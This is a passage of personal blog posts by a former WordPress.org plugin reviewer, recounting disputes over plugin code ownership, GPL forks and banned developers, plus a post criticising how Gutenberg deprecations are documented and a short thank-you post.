I also pointed out [Skype absolutely lets you export chat logs](https://support.skype.com/en/faq/FA34894/how-do-i-export-my-skype-files-and-chat-history), and that would be a lot easier to read than the disorganized grabastic piece of shit screenshots he sent (I didn’t say it like that, I said it would make this process a lot faster).
At this point, it had been 4 or 5 days of emails.
## Why Bother With Directions?
Gary sent more low-quality screenshots, undated, unorganized, and hard to read. They looked like those fake screenshots people make of texts. That’s how bad it was. The screenshots, once I thought I had them in order, told a story of Gary bombarding Frank with messages at a time **he knew** Frank was offline (remember North America vs Pakistan). They all took place **after** Frank had put the plugin on .Org.
At this point I still had **no** proof from Gary that he’d ever told Frank to **not** post the code up on .Org.
> In none of those screenshots is there mention of even “Make this plugin for us and only us.”
>
> That’s why I asked if you had a contract with him, other than the alleged verbal arrangement in Slack. Even just something that has you saying “This plugin will only be for us, right?” and him replying “Yes” in chat would do \[…\].
>
> Me to Gary in email
I also told Gary to, in the future, not be an idiot and get a goddamn contract. Which he should know as a freelancer himself.
Gary replied that he’d had an actual verbal conversation on Skype. No one had a recording. So we were clearly back to the he-said/he-said world. I hate those. Gary **also** said if I didn’t pull the plugin, he’d get his lawyer involved. Again, Gary still had **not** sent me the code Frank wrote for him, so I still couldn’t even check if there was a GPL violation which, at this point, was the only reason I might have to pull Frank’s plugin.
In fact, if Gary could have proven *any* of the following, then I likely would have pulled Frank’s plugin:
- Frank had agreed to never share the code he wrote while working for Gary
- Gary had asked Frank to **not** share the code prior to it being submitted to .Org
- Frank had used code from a non-GPL source
The whole ‘premium plugin’ reason didn’t really apply here. It *maybe* was code from a premium plugin but, since I’d never seen that plugin, I couldn’t be sure. Making it even murkier, Frank and Gary **both** explained the code Frank posted was not part of Gary’s, but Frank had started it to do an above-and-beyond aspect of Gary’s request. Who knew who owned what anymore.
Gary sent more emails of screenshots (still no log, still no dates, still a pain in the ass to decipher) and swore there was ‘proof’ in there.
Sure was. Proof that substantiated **Frank’s** claim. I’ve transcribed so you don’t have to suffer the shitty screenshots:
> **Gary:** When we’re done with this \[plugin\] and it works, we’ll put this \[on WordPress.org\] and release it as a free/pay option.
>
> **Frank:** Okay.
>
> **Gary:** Free I guess can be the \[extra\] code which you have created \[…\] then paid can be this version.
>
> Chat Log provided by Gary
Later on in those logs was a bit where **Frank** specified **exactly what code would be premium**. Frank even said he was specifying so they were both on the same page, and there was no misunderstandings. And Gary agreed to that proposal. Only the ‘extra’ code (which was the *only* code in Frank’s plugin on .Org) was allowed to be on .Org.
## Tough Nuts
Gary had no evidence that, *prior* to the code being on .org, he had **ever** said that Frank wasn’t allowed to post it. In fact, Gary had provided evidence to the contrary! All of Gary’s ‘proof’ about the code never being on .org happened **after** Gary found out the code was on .Org. Tough nuts here, Gary, but unless we can prove something, we’re leaving the plugin up.
Gary replied that ‘the screenshot’ he’d sent was from before the code was on .Org. He’d sent 7 screenshots in the previous email, none dated. His points:
- He pitched the gig to Frank
- Frank was overworked and said he could look later
- When Frank had the time, they Skyped and hashed out the details
- Frank tells Gary there were issues with the name, **according to the WordPress Team**
- Frank sent the beta code to Gary
- Gary and Frank worked out some changes
- Gary **then** “realized” the code was on .Org and complained
- Frank told Gary the code was limited, and contained none of Gary’s bespoke code
- Frank told Gary (at some unspecified time) via voice-chat that none of Gary’s bespoke plugin would be public
- After the breakdown in their work-relationship, Frank put the code up for sale on his own site
If you’re looking at the fourth point and blinking a lot, me too. Who did Gary think this ‘WordPress Team’ was if not us? I was more-so blinking because Gary concluded by saying I should *confirm* I knew the conversations took place **before** Frank put the code on .Org.
I could not confirm his claim on the timing because …
- Many of the screenshots were clearly *after* the build of the plugin (the ones that have him swearing at Frank for releasing it)
- **None** of the screenshots were dated so I cannot be sure about timeframes (I asked for the logs because of this)
- I had **no** screenshot where *Frank* asks to have a Skype chat
- I had proof Frank had told Gary there was a problem with the plugin name according to the **WordPress** team (aka the Plugin Review team)
- Gary didn’t pay Frank until **after** the free version went up on .org (possibly after Gary knew the code was up, timing was unclear)
- Frank promised none of the premium stuff would be in the .org plugin and Gary said he was okay with that
- Frank denies any such Skype conversation took place that agreed nothing would be public
- Work **continued** after this, with Gary *not* asking org to remove a plugin that he was aware of existing
- After the money was refunded, Frank purportedly was selling the premium version on his own site (no one ever linked to where that might be)
- Only **then** did Gary come to the plugin team
- WordPress.org has no oversight as to what Frank does on his own site
So Gary was asking for WordPress.org to remove the free plugin that actually he agreed was okay to make and give away, with code he didn’t want in his bespoke plugin. Code he had, per his own screenshots, very clearly agreed to have hosted on .Org.
## After the Battles
In the end, Gary got nothing. He remains banned from WordPress.org since, after that, he made a couple hate-attack accounts to go after Frank. Frank ended up taking that plugin down because, as he said, he was tired of Gary’s abuse. He also claimed he’d learned his lesson about having a contract and statement of work before doing work.
Gary *never* provided his copy of the code to validate the GPL issue. Gary never provided logs (with time/date stamps) that confirmed the order of events was what **he** said. Gary had no contract, only a verbal agreement, that Frank disputed.
This was memorable simply because I’d really never had anyone show me a screenshot proving the exact opposite of what their claim was before.
It was not the last time, but that’s a story for another day.
**Categories:** How it Was
**Tags:** contracts, plugins, stories, wordpress
---
### [Plugins: Double the Damage](https://halfelf.org/2023/plugins-double-the-damage/)
**Published:** August 16, 2023
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Sometimes the question is who stole what from whom and where. In this case, it was practically a shell game, or the worst version of 'Who's on First.'
**Content:**
Sit down for a fun ride in what I can only call … The plugin equivalent of Revenge Porn.
Player 1 forked a plugin from Player 2. Player 2 attempted to claim Player 1’s work as his own. Insanity occurs. And if you’re thinking it’s a simple case of he-said/he-said, it’s actually not. They both agree on a number of facts, but disagree on what the facts ‘mean.’ And it is hard to work around that.
I’ll start by introducing our players (not their real names):
- Ken – an existing plugin dev who was already on thin ice for submitting the *same* plugin over and over, due to not reading emails
- Andrew – a new (to us) dev who possibly stole code
## Before The Drama
Ken. He’d been a plugin dev for a few years, but he’d always been a problem. Not worthy of an outright ban, but he’d had a number of cautions and warnings.
Ken’s biggest issue was his own head-in-the-sand arrogance, and a refusal to read. No, I’m serious. He had a history of **not** reading the emails, even when they were one sentence. This made his reviews take a hog’s age, and it made dealing with him something I had to psych myself up for.
I was already frustrated enough to leave a note in his user account about it. Ken would read subject lines only, if at all. It was maddening and he was on his last warning already about communication. To whit, if you cannot (or will not) communicate with people, **why are you here**?
## Submission Wars
On Monday, doing the usual weekend clear-out, I started like always. See, I preferred to start with low-hanging fruit. I would reject the outright bad or incorrect submissions (like people submitting Akismet) and pend trademark issues. This is, if you’re wondering, why I ended up writing so many blockers for submissions. It took that morning ‘easy’ work from 2 hours to under 1! Doing that work takes little brain power, though it was always time consuming, and let me ease into the day.
That day, I ran into Andrew who had a trademark issue out of the gate. The name of his plugin started with ‘WoCommerce’. Yes, one O. Around then was when I’d *just* introduced the blocker on starting with ‘WooCommerce,’ and for the life of me, I don’t know why people see that they cannot use a trademark and decide it’s smart to ‘tweak’ the trademark.
Note: For the love of the flying spaghetti monster, **DO NOT** try to ‘get around’ a trademark issue with a clever spelling. The legal concept you’re violating is ‘intent to infringe’ and I have to tell you, Facebook has **zero** tolerance for that.
Back to the plot, I emailed Andrew and explained the plugin was pended due to trademarks. Also it’s Woo with two O’s.
Imagine my surprise on Tuesday when I saw the *same* plugin submitted with the same name typos and now a ‘Free’ at the end (because the original name was used). Now usually this happens when someone doesn’t fully read the email that says to *reply with your code attached.* Sometimes it’s two people with the same idea and, since we blocked multiple submissions, it’s often someone using two separate accounts to resubmit. Giving this new one the benefit of the doubt, I checked and saw it was an existing dev, **Ken**!
I downloaded this new plugin and then Andrew’s and compared. Guess what? Same code. The readmes, mostly, were different, but not in a good way. Ken’s was a half-edited version of Andrew’s, and Ken’s plugin headers also credited Andrew.
This means, whoops, Ken submitted a copy. That gets **Ken’s** rejected and Ken is told that either he stole this (bad) or he’s working with Andrew and resubmitted instead of following directions (also bad).
Meanwhile, I *also* emailed Andrew asking “Are you working with someone else and did you goof the reply?” Andrew replies promptly, with the new code, explaining a very odd story.
Andrew said that Ken will claim Andrew stole Ken’s plugin. **He named Ken!** I was stunned and kept reading. According to Andrew, *he* made a more complex plugin and had offered it as a patch, but Ken said no. Then Ken stole it back from him since, per Andrew, Andrew’s code was cooler. Furthermore, Andrew said Ken was likely to claim Andrew stole it from him (Ken) who sold the plugin, but not with Andrew’s features.
So this is already a bit of a mess as you can see. And no, Ken didn’t take it well, already ranting that we rejected his plugin.
## Who Stole First?
My first thought had been that Ken was 100% wrong, and Ken had taken Andrew’s code. Now it looked like Andrew forked *Ken’s* plugin and Ken wanted to steal it back. Who is right in this situation?
I did my due diligence and confirmed Ken *was* selling a plugin that claimed to do the same thing. It was over $100 USD mind you, and that’s a lot for a 3 file plugin (including the readme). I was surprised that Ken’s version was riddled with security flaws not all found in Andrew’s version (no sanitization, no escaping, no nonces, trademark abuse, broken translations, etc etc). No one was going to pay $100+ for that! Also why would he not take Andrew’s fixes?
Since Ken had emailed claiming it was his work and I was wrong, I replied and pointed out his plugin submission was *copying* much of Andrew’s work. This means even if the core plugin was his, he would have had to credit Andrew. Oh and could we please see the original, premium, plugin to see what Andrew ripped in order to address that part.
But looking at Ken’s bleak history, I realized this was going to be a big problem. Ken jumped right into the blame game and name calling, as I feared.
After a gut check with others and confirming it sure looked like Ken made a spite submission, I was leaning towards a ban. He was already replying in anger and now he was shouting that Andrew stole from him, but he refused to share the premium plugin lest I steal it. While I’ve received hundreds of premium plugins to do an ownership/copying check on, I have **never** kept them without buying them. Once or twice I found a plugin I’d pay for, and I did. But the rest I deleted them as soon as I can. Ken’s claim was we would take his code and host in on .org for free. Which… no.
Ken actually confirmed he did take Andrew’s ‘version’ of the code, but refused to credit because Andrew forked his code, and he didn’t have to credit since his was the original plugin. And anyway, Ken said he did it in order to hurt Andrew. This made it clear. He had made a SPITE submission.
In Ken’s email about being banned I said this:
> After you submitted \[plugin\], which was clearly at least partly someone else’s work, we did some research on how you came to take that code and misrepresent it as your own. In doing so, we have determined that your actions were of an intentionally abusive nature. This behavior of yours is unwelcome here in our community.
>
> Me in an email to Ken.
Andrew was given the benefit of the doubt as I tried to figure out if he really forked or not (remember I had not seen Ken’s original plugin yet!), but he too was flagged for possible naughty behaviour. The odds were he had a disallowed fork, and he was cautioned that if the plugin was a premium one, we couldn’t host it on .Org.
At this point, here’s where we are:
- Ken charged over $100 for a piece of shit code.
- Andrew (may have?) forked it because it’s shit and submitted it after Ken said he didn’t want it.
- Ken submitted the same code as Andrew’s version.
Since Ken’s been a known bad-egg, was is now **intentionally** acting badly, and already started to rant, it was a no-brainer. Ken was a problem, Ken was acting hatefully and spitefully, and Ken had a bit of conspiracy paranoia going on.
## What Did I Expect?
I did not expect over 40 emails over a week, ranting. Most made it pretty clear Ken only read the subject lines of the emails, and never the content.
First Ken claimed it was originally his, even though the version Ken submitted *literally* credited the other guy. Then Ken claimed he just copied the readme, but again, the code credited Andrew. It had the same formatting to boot. You can see where this is going right?
Next, Ken claimed he ‘accidentally’ uploaded the nulled version **Andrew** had posted to the web prior to uploading on .org … except Ken’s version has *his* partly rewritten readme. That is pretty weird. How does one upload a partly ‘corrected’ nulled version? The obvious answer is that he realized (as had I) that Andrew’s code was **better** than his and stole some of it! Actually a lot of it.
Ken’s argument became “I am releasing the basic version as a Albert is stealing my code!” And if you just went “Who the flying fuck is Albert?” so did I. Five emails from Ken came in, including claims we ‘stole’ his plugin.
Yes. The *Plugins Team* stole his plugin. How you ask? Well it transpired that Ken believed the plugins team, by accepting the submission from Andrew, had commited theft, even though we had **not** approved the plugin. It was in pending, at this point.
I suppose you could *maybe* argue someone attempted to use WordPress.org as a fence for stolen goods, or a money launderer. But since the Plugins team did not accept the goods, we stole nothing.
## Where Are the Clowns?
At this point, Ken kept linking to his code (still too much money) and saying I should look at his code (not going to pay for it). Ken also said he’d *sue* if we didn’t reply to his emails (there were like 10 separate emails from the last time I’d replied, I was trying to catch up). He also claimed he wrote the plugin with two other guys, one of which was Albert! Our mystery guy!
Officially once you say the magic words invoking legal action, the Plugin team stops talking to you, save to point out we aren’t qualified for legal stuff and here’s the foundation’s contact. Keep in mind, Ken’s emails were *minutes* apart, so no one had a chance to reply even if we wanted to.
Naturally Ken went on to claim we were “in cahoots” with with Andrew and he would handle it from his legal team. Then he demanded we do the “right thing” and reinstate his account and host his code. Also he claimed Andrew was a scam artist who was harassing Ken. (Remember this, it comes back to haunt Ken.)
I said ‘no’ because it was damn clear Ken was operating in bad faith, not to mention he had a history and had been on a final warning at the start. This prompted Ken to claim he wasn’t warned, except he was. Not only was he warned, the read-receipts in HelpScout showed he’d opened the email! When that was pointed out, Ken said he’d not read the email, as he’d been asleep.
I found the hypocrisy of not reading emails while being pissed I was reading all before replying to be amusing.
Either way, though, he was up and reading things now, and yet still hadn’t read the other email. This goes back to longstanding issues with him not reading. But hey, Ken claims he **did** read the chat logs and knows exactly who Andrew is (or Albert).
Ken went on. Andrew was harassing him, stole from him, was a racist, tried to hack his site and so on. Also WordPress.org would be enabling him and we needed to stop hosting his code.
I had not approved Andrew’s plugin and pointed that out. We **didn’t** host it. And when a plugin is rejected, the zip is deleted so we don’t have it anymore.
## There Is a Point
All of that said, I absolutely **DID** take Ken’s claim seriously! Yes, Ken was an angry and vengeful man, but *theft* isn’t okay! So I pointed out (again) that Ken needed to email the code of his premium plugin to the plugins team. I had zero intention of signing up since I was sure he’d take that information to abuse/harass me.
Finally he sent the code, and guess what?
**Andrew’s code was not the same**.
The code was not even *close*, except for one page, which had some of the same security issues as Ken’s plugin (most were fixed), and that means this was what would normally be considered a **legitimately different** fork. Even if you just compared Andrew’s code to the license-checked-removed code of Ken, there were distinct differences (some worse, some better).
The problem, however, is that it was a fork of a **premium** plugin that was non GPL (same as the previous post). WordPress.org couldn’t host it.
But before we could reply, there were another 10+ emails. Yeah, 10.
After threatening to sue WordPress, Ken finally broke down and gave us the whole deal from his side. According to Ken, over and over, the *real* story is as follows:
- Ken charged $100+ for his plugin.
- Andrew bought and stole his plugin by putting a nulled version up for download a null software site. He linked to it.
- Andrew used stolen credit cards to buy the plugin in the first place.
- Ken did not take anyone’s code.
- Andrew was a racist.
The problem with that story is:
1. The post on the nulled site did not match the timeline. It was made *after* the plugin submission, which was over the weekend.
2. Ken’s submission **literally** said “Yadda Yadda Plugin Written By Andrew LastName”
3. The code Ken (eventually) shared as his version was totally different save for one page (the settings page).
Also we had no evidence that Andrew was anything other than a frustrated dev who just wanted the code to work without conflicts (Ken’s really didn’t), and was mad that Ken blew him off.
Now. I do give people the benefit of the doubt, but that changes once people jump up and want to sue you. Not to mention Ken’s version of events didn’t pass the sniff test.
Andrew forked Ken’s code, and Ken retailed by stealing Andrew’s.
## I (Don’t) Know The Law!
At this point, we moved into lawyer stuff. Ken named his lawyer and I looked him up. He was a **personal injury** lawyer based out of California (Ken claimed to be from somewhere in the midwest). But hey, maybe he side hustles? The lawyer also does corp law counselling, which maybe would have helped Ken, if he had a leg to stand on.
This prompted Ken to claim a judge would rule in his favour as WordPress.org didn’t follow “details” and didn’t investigate any copyright claims. I knew that was unlikely. A judge would say “They didn’t host the code, they rejected it. They’re not at fault here. They didn’t steal your code.”
He went on to talk about how he had to read 26 emails (he sent all of them!) and proved his plugin was older (not in doubt at the moment). Ken continued, because the code wasn’t allowed to be forked (GPL), and a judge would certainly agree.
He was wrong. Since I had rejected Andrew’s code already (because it was a fork of a premium plugin), I was sure we’d been in the clear. We had, in fact, *agreed* with Ken and did the right thing by rejecting Andrew’s plugin. And yes, I told Ken that.
Ken replied and shared **private** information which actually … hurt his argument. In the “evidence” there was a bunch of screenshots of chats where in Ken called Andrew a “stupid \[racial-slur\] scammer” and a “dumb fucker” which frankly even if Ken’s right about theft, that’s not how you handle things.
Remember how I said the racism thing would come back? Ken was the racist. He had some more slurs that made me feel a bit ill in his messages to Andrew who, at worst, told Ken he was a dumb bitch. Not nice, but nowhere near the level of Ken’s insults, and none were racist.
## The End Results
Ken remains banned. He’s got anger issues and doesn’t understand how to play well with people. He has since asked to come back with a new account and was told no. But also:
> We will, at this point **CONFIRM** with you that we’re not hosting the code submitted by anyone else either, so don’t worry about that.
>
> We won’t allow anyone to host your code here.
>
> Plugins team via Email to Ken
After that he asked to make a third new account and was told no, mostly because he jumped to suing.
As I mentioned, Andrew’s submission was rejected as it’s a fork of the premium plugin by Ken, and we [don’t allow that](https://make.wordpress.org/plugins/2021/02/16/reminder-forked-premium-plugins-are-not-permitted/). Andrew read the email and said nothing in response, which is fine.
I still have no idea who the hell Albert is.
**Categories:** How it Was
**Tags:** GPL, plugins, stories, wordpress
---
### [Appreciation](https://halfelf.org/2023/appreciation/)
**Published:** August 10, 2023
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I'm not often speechless but today, I was.
**Content:**
I’m not often speechless but today, I was.
Since I retired from Plugins, it’s been really quiet for me. Which is the way I like it. I still sit on the sidelines, happy to advise and dredge up old history. I covered a couple exceptional cases with developers who were on the verge of being banned (and happily managed to get one on the right track). But the only plugins I reviewed were for work or myself.
Today, working on some in-depth learning (because we’re always learning), the doorbell rang and a large package was delivered. My wife asked if I ordered a frame for some art we’re thinking about hanging, but I hadn’t. As soon as I opened it, I caught a glimpse of a drawing by Ben Dunkle, which has hung in various places in my office since my very first WordCamp San Francisco.
I must have repeated “What!?!” a dozen times as we unwrapped it and saw this:
**Greatest Hits**
- 9 Make Teams Contributed
- 83 Core Contributions
- 2,823 Make Posts
- 29,094 Plugins Approved
- 57,094 Plugins Reviewed
- 138,935 Replies Sent
I know that WP Release leads get things like that after their ordeal is through.
I was, in no way, expecting anything like this.
To Matt and all, you are very welcome. And this is appreciated in a way you might never understand, but I am touched from the bottom of my heart.
I never actually counted how many plugins I reviewed over the years… And that doesn’t even touch on the myriad closures, re-openings, and transfers.
**Categories:** How It Is
**Tags:** wordpress
---
### [Interlude: Gutenberg Moves Fast](https://halfelf.org/2023/interlude-gutenberg-moves-fast/)
**Published:** July 27, 2023
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** If we don't start slowing down and marking the trail for developers, we will begin haemorrhaging the very people who make WordPress a success.
**Content:**
I’m taking a pause on my plugin posts to talk about Gutenberg.
I really love Gutenberg. I’m not kidding! I find it far more enjoyable to write (stories) in plain apps (I used Apple Pages because it syncs between laptop and iPad, yes, I am often using my iPad to write my novel, yes, I will let the world know when it’s done). But when I write for the web, it’s a more visual medium, and Gutenberg is fantastic to represent what I’m writing as it will be properly seen by all!
But.
Gutenberg moves *fast*. Hella fast. So fast it can leave you in the dust, and it has a critical flaw that I feel has been stifling it’s growth and usage among developers.
## JS isn’t your Momma’s PHP
This is obvious. Javascript ain’t PHP. PHP is a simple language that can be coerced into doing complex things if you understand basic algebra. Surprise! Everyone who considers themselves good at PHP? You’ve mastered the concepts of algebra! Alegrba is one of the easier ‘complex’ mathematic concepts to wrap your head areoud. You get “if `a + b = c` and `a = 10` and `c = 11` then `b = 1`” and you win!
Javascript though, it’s a little more like calculus and trig, in that you have to understand the formulas a little deeper, and they have that thing where not just numbers and letters appear, but weird symbols.
\[nb: Like all analogies, this falls apart at scale, don’t read too much into it.\]
For the thousands of developers who whet their teeth on PHP, jumping into JS feels like you’re a first-year high schooler in senior maths! It’s scary, it’s complicated, and worst of all … it isn’t actually documented at the micro level, because it’s generally compiled.
## Micro vs Macro / Interpreted vs Compiled
The macro scale is, more or less, the big picture of what your code is supposed to do. Micro would be each individual element. For PHP, you can clearly identify both the macro (the overall function) and the micro (each teeny process in that function). This is less so for JS because the languages are different.
There are two primary types of code languages. PHP is what we call an interpreted language, because while the PHP binary is a compiled app, what you write is **interpreted** by the compiler. Basic JS (like jQuery) is also an interpreted language!
Compiled languages need a “build” step – they need to be manually compiled first. And if that suddenly made you think “Wait, Gutenberg is JS but I have to build it!” then you have spotted the quirk! The JS we use in Gutenberg is actually JSX!
JSX was designed for React (which is what we use to build in Gutenberg) and while it may contain some plain Javascript, it’s impossible to use the code without React. That’s why we have the build process, it takes the JSX, compiles it into JS, and saves it to a file.
## The Compilation Downfall
This is where it gets messy … messier.
When there’s an error in PHP, we get the error message either on the page or in our logs, depending on how we set up our environment. I personally pipe things to `debug.log` and just keep that file up as I bash on things. Those errors tend to be incredibly helpful!
`$mastodon not defined on /path/to/file.php:123`
In that example, I know “Ooops, I’m calling the variable `$mastodon` on line 123 of file.php and forgot to declare it!” Either I need an `isset()` check or (in this case) I brain farted and copied a line but forgot to rename the variable so I was setting `$tumblr` twice. Mea culpa, pop in, edit, save, done.
On the other hand, I was testing out some blocks and modernizing them a little when suddenly … the block didn’t load. I got the WP notice of the block had an error. You’ve probably seen this if you’re a dev:
or this:
And if you’re like me, you used foul language and wondered ‘well… now what.’
## Enter the Console
Unlike PHP, the errors don’t go to a nice `debug.log` file, it goes to your in-browser console. This is because, again, PHP is being directly interpreted on the server, and the server happily converts the PHP to HTML and Bob’s your uncle.
JS (and JSX in this case) aren’t processed by the server. They’re processed on the fly in the browser. If you’ve ever wondered why too much JS, or bad JS, cause your browser to hang, that’s why. We moved the processing from the server (PHP) to the browser. On top of that, it’s **also** why JS content isn’t really cachable by traditional methods! But that’s another story.
In this case, I got the first error (cannot be previewed) and being somewhat savvy with the world of Gutes, I popped open the console and saw this gem:
`wp.blockEditor.RichText value prop as children type is deprecated`
The rest of the message was warning me that the thingy would be *removed* in WP 6.3, and it had a link to ‘help’ resolve it. Spoilers? It didn’t. But take a deep breath. Let’s debug.
## Debugging Gutenberg
The first issue was that the error came on a page with **multiple** blocks. I happened to be using a custom plugin I wrote that contains about 6 blocks, you see, so I opened a new page on localhost and added each block, one at a time, until I determined the issue was my incredibly simple **spoiler** block.
How simple is this block? It’s basically a custom formatted paragraph, so everyone could use the same design without having to remember the exact colours. I could have made it a ‘reusable block’ on the site but, at the time, I wanted the practice.
Next I went to that link, which was for “[Introducing Attributes and Editable Fields](https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/)“. I admit, I was a little confused, since I was already using attributes and editable fields! But I did the logical thing and searched that page for the word ‘children.’ My thought process was that if something was being deprecated, it would have a warning right?
Okay, maybe I was looking in the wrong place. This error is specific to RichText so I clicked on the link to read the [RichText Reference](https://developer.wordpress.org/block-editor/reference-guides/richtext/) and again, looked for “children.” Nothing. Zip. Nada. I followed the link for the more [in-depth details on GitHub](https://github.com/WordPress/gutenberg/blob/HEAD/packages/block-editor/src/components/rich-text/README.md) and still nothing.
At this point, I ranted on Mastodon because I was chapped off. I also popped open the [Gutenberg Deprecations](https://developer.wordpress.org/block-editor/contributors/code/deprecations/) page, and looked for “children” but all I could find was a message *to use* children!
> `RichText` explicit `element` format removed. Please use the compatible `children` format instead.
Logically there should be a note that “children is deprecated, please use…” but there is not.
Now, here is where I accidentally stumbled on a fix, but **after** I made my fix is when I found the [Github issue about this](https://github.com/WordPress/gutenberg/pull/44265)!
> If you are still using “children” or “node” sources in the block attribute definition, like so:
>
> ```
>
> content: {
> type: 'array',
> source: 'children',
> selector: 'p',
> }
> ```
>
>
>
> Then change it to use the “html” source instead to get rid of the deprecation warning:
>
> ```
>
> content: {
> type: 'string',
> source: 'html',
> selector: 'p',
> }
> ```
And in fact, that was the correct fix.
## Here’s the Flaw
*None* of that was properly documented.
The link to ‘help’ fix the error didn’t mention the specific error, it talked about attributes at the MACRO level. I was (obviously) already using attributes, else I wouldn’t have had that error at all.
There is **no** proper documentation that could help someone fix the issue on their own **UNLESS** they happened to be trawling through all the issues on GitHub.
As I put it to my buddy, the reasons developers are salty about Gutenberg are:
1. It changes pretty much every release
2. There’s no real way to tell people if it impacts you so you have to check every release and read the console logs, which is not what devs are used to
3. The JS console won’t tell you (I don’t know if it can) what file caused the warning, so finding it is a crap shoot
4. The documentation is high level, which is not helpful when you get micro level errors
## Okay, can we fix it?
At this point, if you’ve made a WordPress Block for Gutenberg, make sure you test *every single release* with the JS console open. If you don’t do this, you will have a rude awakening until things are made a little better.
How can things be made better? It will have to begin with a culture shift. Traditionally WordPress has used a “release and iterate” model. With Gutenberg, we’ve become “move fast and break things,” but that is only sustainable if everything broken can be documented for a fix.
That means I see only one way to correct this, and it’s to slow down Gutenberg enough that deprecations **AND THEIR CORRECTIONS** are properly documented, and the error messages link to a page about deprecations.
We need to not link to the general “here’s how attributes work” page, but instead to a specific page that lists those deprecations *along side the WordPress versions impacted*.
Another matter is we should be posting in the Field Guide about these things. Currently the [6.3 field guide ](https://make.wordpress.org/core/2023/07/18/wordpress-6-3-field-guide/)links to all the various pages where you can find information, but that means you have to click and open each one and **hopefully** find your exact usage. In my case, those links to the ten Gutenberg versions being ported to core **never mention the issue I had**.
If we don’t start slowing down and paving the road for developers, we will begin haemorrhaging the very people who make WordPress a success.
**Categories:** How To
**Tags:** debug, development, gutenberg, javascript, react, wordpress
---
### [Plugins: Bad Thief](https://halfelf.org/2023/plugin-bad-thief/)
**Published:** August 2, 2023
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** This is the story about a man who didn’t understand that buying a plugin doesn’t mean you own the code.
**Content:**
The summary of this story is: The GPL does not mean WordPress.org has to host whatever code **you** want it to, regardless of what you think.
I promise it gets there.
## Starting off bad
The story of Donald (fake name) begins with a plugin submission he never finished. Back in August 2021, he submitted a plugin with a number of security flaws. And a review to which he never replied. The plugin was rejected in February ’22 and resubmitted in March (one month later).
Per usual, Plugins flags those and asks the dev “Hey, you gonna reply this time?” because it’s a waste of everyone’s time to review shit they don’t use here. Donald ensured he would, so he got a full, lengthy, review.
I’ll admit, his reply was pretty unique.
It was a massive rant which I cannot share (privacy) but here are the key takeaways:
1. He has been a developer for umpteen years
2. He copied a plugin to make his own
3. He thinks he **bought** the code via WordPress.org
4. He would **not** make the security changes we listed
5. The original plugin had the same flaws
6. Other plugins have flaws too
7. He thinks he bought the ‘source code’ (oh no…)
8. He wants us(?) to fix it
## Oh no…
I pinched the bridge of my nose. Anytime someone jumps to the old chestnut claim of “I am a developer of a bajillion years!”, it **never** ends well. Seriously. If you’re a developer since day one of WordPress, you should know not to break the guidelines.
I rejected the plugin and clarified a couple things.
- In no way did Donald buy a plugin from WordPress.org
- We don’t review every release of every plugin so yes, some have flaws
- If it’s *your* plugin, you have to fix it
- If it’s *not* your plugin, you can’t host it on .org
- Removing the copyright and not making any changes isn’t a fork, it’s theft
That went over about as well as wearing a Yankees hat to a Cleveland baseball game.
## What did he buy?
People will argue left right and center that it’s not stealing if the code is GPL. The part they always seem to miss is that it’s not their work, and it’s a lie to claim it is (this is why you **add** copyright, folks!) and when it’s a **PREMIUM** plugin, like this is, it’s stealing because you broke their license. And yes, he did.
But Donald was stuck on this weird part that he believed buying a plugin meant he owned it and could do whatever he wanted. Now if it was GPL, technically he could do that, but that doesn’t mean we have to do what he wants. And WordPress.org will not host code that you didn’t write, or at least *reasonably* fork.
> I purchased the rights to the source code directly from the author.
>
> Donald via Email
And he cc’d the original developer, Adam (fake name)!
I took a look at Adam’s account on .org and found his plugin. It was a free version of the one in question, and yes had security issues. In fact, it had been closed about a year ago.
Adam replied before I did and said “bro, no you did not.” I backed Adam, explaining what Donald bought was the code to *use*, and the license on Adam’s website said it could not be resold (remember it was non GPL code).
Good, we’re done!
## Legal Drama
Donald replied with proof. What proof? A bunch of PDFs that (he said) proved he owned it.
It did not. The attachments showed he bought a yearly *license* for a number of domains.
Donald and Adam had a lot of back and forth about how that wasn’t how a license worked (Adam) and insisting he owned it (Donald).
The next attachment PDF showed he paid for a license (again) and a new one that said it’s a charge and how much (though not what for…). I assume he paid that for the ‘source code’ and I made this face:
At this point, Plugins was never CC’d on any reply from Adam (remember Adam’s plugin was closed because of securit), and Donald just kept going.
## It’s Mine!
It got a little hard to figure out what was what, because Donald would reply-all and Adam wisely only replied to Donald. However since Donald quote-replied, we ended up getting almost everything.
Donald moved on to explain this was a fork, a term he learned from me, and he could prove it because he used fewer files and it was organized differently. The problem was the code was the same. About 80% or so the same. Not a small amount. And Donald insisted the GPL meant he could do this.
Again, yes he could, *if the original code was bloody GPL to begin with*! And it wasn’t. Oh and he didn’t meet the GPL requirement for copyright (GPL says you gotta retain copyright and add yours) nor WordPress’ for disclosure (you gotta credit the OG devs). Thus, Donald failed the sniff test.
This went on for hours and I didn’t reply.
Now, if you’re wondering “Why didn’t anyone reply?” it’s because that bevy of emails came in between 4pm and 4am Pacific Time. At this point, though, it was crystal clear that Donald had:
1. Copied code and did, in the end, make a fork
2. Copied premium code from a non GPL source
3. Did not disclose the copying/forking in his readme nor source code
4. Thinks he bought the rights to the source code (… that’s not what that means, but okay)
Oh and he was still insisting he bought it from WordPress.
So I tried again. I repeated the facts (you didn’t buy it from WordPress.org and it doesn’t meet the guidelines to be hosted on WordPress.org as a ‘fork’) and then followed up with banning him since, after 14+ emails overnight, it was obvious the cheese had fallen off Donald’s cracker.
I did take a moment to recommend he not post the code on GitHub due to the GPL issue, and if he did, Adam might have a legal case. I also told Adam I told Donald that, so Adam had a chance to protect himself.
## Enter Crazypantsland
This time Donald agreed he didn’t buy it via WordPress.org, however he insisted he’d paid for the code (quoting half the price that was in the pdf I will note).
> Again, you are wrong, I DID NOT take the premium plugin. What I took was the code base of \[the version\] I purchased provided to me by the author after he received payment. Only \[then did I rebrand\] and modify \[…\] the code as my own.
>
> Donald via email (removed identifying information)
Honestly I sat back.
His argument was he didn’t take the premium code, he took the code he purchased. I took a deep breath. I mean, maybe he just failed to make that connection? But I (and Adam) had already explained that before so who knows.
Donald’s email went on to …
- Agree that I was correct to not host the code
- Disagree that he’d ever claimed he bought it from WordPress.org
- Agree that he bought the code from Adam
- Disagree he should be banned
To be fair, few people would agree to that last one.
I tried again to explain how what he did was harmful, and the fastest summary of what he did is this:
Donald put some bells on it, but that’s basically what he did.
